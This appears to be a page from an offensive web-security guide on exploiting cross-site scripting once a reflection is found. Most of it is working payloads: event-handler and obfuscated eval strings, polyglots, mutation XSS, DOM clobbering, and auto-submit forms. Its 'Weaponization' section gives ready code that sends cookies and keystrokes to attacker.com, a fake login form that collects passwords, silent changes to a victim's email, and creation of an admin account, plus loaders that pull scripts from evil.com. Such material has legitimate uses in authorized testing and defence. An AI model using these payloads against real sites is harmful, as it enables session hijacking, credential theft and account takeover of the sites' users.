Skip to content

XSS Exploitation

You found a reflection. Now make it matter.

Confirm Execution

Step 1: Prove Script Execution

Don't use alert(1). Use something that proves context:

alert(document.domain)
alert(document.cookie)
console.log(document.domain)

alert() might be blocked

Some sites override alert(). Use console.log() or prompt() as fallback.

Step 2: Document the Payload

Save: - Full URL with payload - HTTP request (if POST) - Screenshot of execution - Context (where payload lands)


Event Handlers Reference

<!-- Common events -->
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmouseout, onmousemove
onkeydown, onkeypress, onkeyup
onload, onerror, onunload, onresize
onfocus, onblur, onchange, onsubmit
onscroll, onwheel
ondrag, ondragstart, ondragend, ondrop
onanimationstart, onanimationend, onanimationiteration
ontransitionend

<!-- Payloads -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x>

Weaponization

Session Hijacking

// Send cookies to attacker
new Image().src="https://attacker.com/steal?c="+document.cookie;

// Fetch version (more data)
fetch("https://attacker.com/steal?c="+document.cookie);

// With full request details
fetch("https://attacker.com/log",{method:"POST",body:JSON.stringify({cookie:document.cookie,url:location.href})});

Keylogging

document.onkeypress=function(e){
  new Image().src="https://attacker.com/log?k="+e.key;
}

// Or capture form input
document.querySelector('form').onsubmit=function(){
  fetch('https://attacker.com/log?data='+encodeURIComponent(document.querySelector('[name=password]').value));
}

Phishing (Fake Login)

document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';

CSRF via XSS

// Change email (account takeover setup)
fetch("/api/user/email",{
  method:"POST",
  headers:{"Content-Type":"application/json"},
  credentials:"include",
  body:JSON.stringify({email:"attacker@evil.com"})
});

// Delete account
fetch('/admin/delete?user=victim', {method:'POST',credentials:'include'});

Admin Actions

// Add admin user
fetch("/admin/users/create",{
  method:"POST",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"username=hacker&password=hacker123&role=admin"
});

Advanced Techniques

Using eval()

eval('ale'+'rt(1)')
eval(atob('YWxlcnQoMSk='))
[].constructor.constructor('alert(1)')()

Using DOM

document.write('<script>alert(1)<\/script>')
document.body.innerHTML='<img src=x onerror=alert(1)>'
location='javascript:alert(1)'

Polyglots

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//

Mutation XSS (mXSS)

Browser parsing quirks:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>

DOM Clobbering

Override undefined variables:

<!-- If code checks: if(typeof config === 'undefined') -->
<form id="config"><input id="url" value="javascript:alert(1)"></form>
<!-- config.url now returns "javascript:alert(1)" -->

<!-- Override x.y -->
<form id="x"><input id="y" value="payload"></form>

<!-- Override with toString -->
<a id="x" href="javascript:alert(1)">
<!-- x.toString() returns href value -->

External Script Loading

If payload length is limited:

<!-- Short loader -->
<script src=//evil.com/x.js></script>

<!-- Even shorter -->
<script src=//evil.com>

Your x.js contains the full payload.


Blind XSS

For stored XSS in admin panels you can't access:

"><script src=https://your-xss-hunter.com/probe.js></script>

"><img src=x onerror=eval(atob('BASE64_PAYLOAD'))>

Use: - XSS Hunter - Interactsh - Your own server


Delivery Methods

Reflected XSS

https://target.com/search?q=<script>alert(1)</script>

Link shortener to hide payload, or:

<a href="https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E">Click here</a>

POST-based XSS

Create auto-submit form:

<html>
<body>
<form id="f" action="https://target.com/vuln" method="POST">
  <input name="param" value="<script>alert(1)</script>">
</form>
<script>document.getElementById("f").submit();</script>
</body>
</html>

Special Cases

Markdown XSS

[XSS](javascript:alert(1))
![XSS](x" onerror="alert(1))

SVG XSS

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
<svg><script>alert(1)</script></svg>

PDF XSS

// In PDF annotations
this.submitForm('javascript:alert(1)')

Hidden Input XSS

<!-- Using popover (modern browsers) -->
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)">
<button popovertarget="x">Click</button>

<!-- Using accesskey -->
<input type="hidden" accesskey="X" onclick="alert(1)">
<!-- ALT+SHIFT+X on Windows/Linux -->

Browser-Specific

Chrome

  • Strict CSP enforcement
  • Doesn't run inline scripts easily with CSP

Firefox

  • More lenient in some edge cases
  • Different SVG handling

Safari

  • javascript: in meta refresh sometimes works
  • Some unique DOM behaviors

Hit filters or WAF? Check Bypasses.

Got execution? Move to Escalation to maximize impact.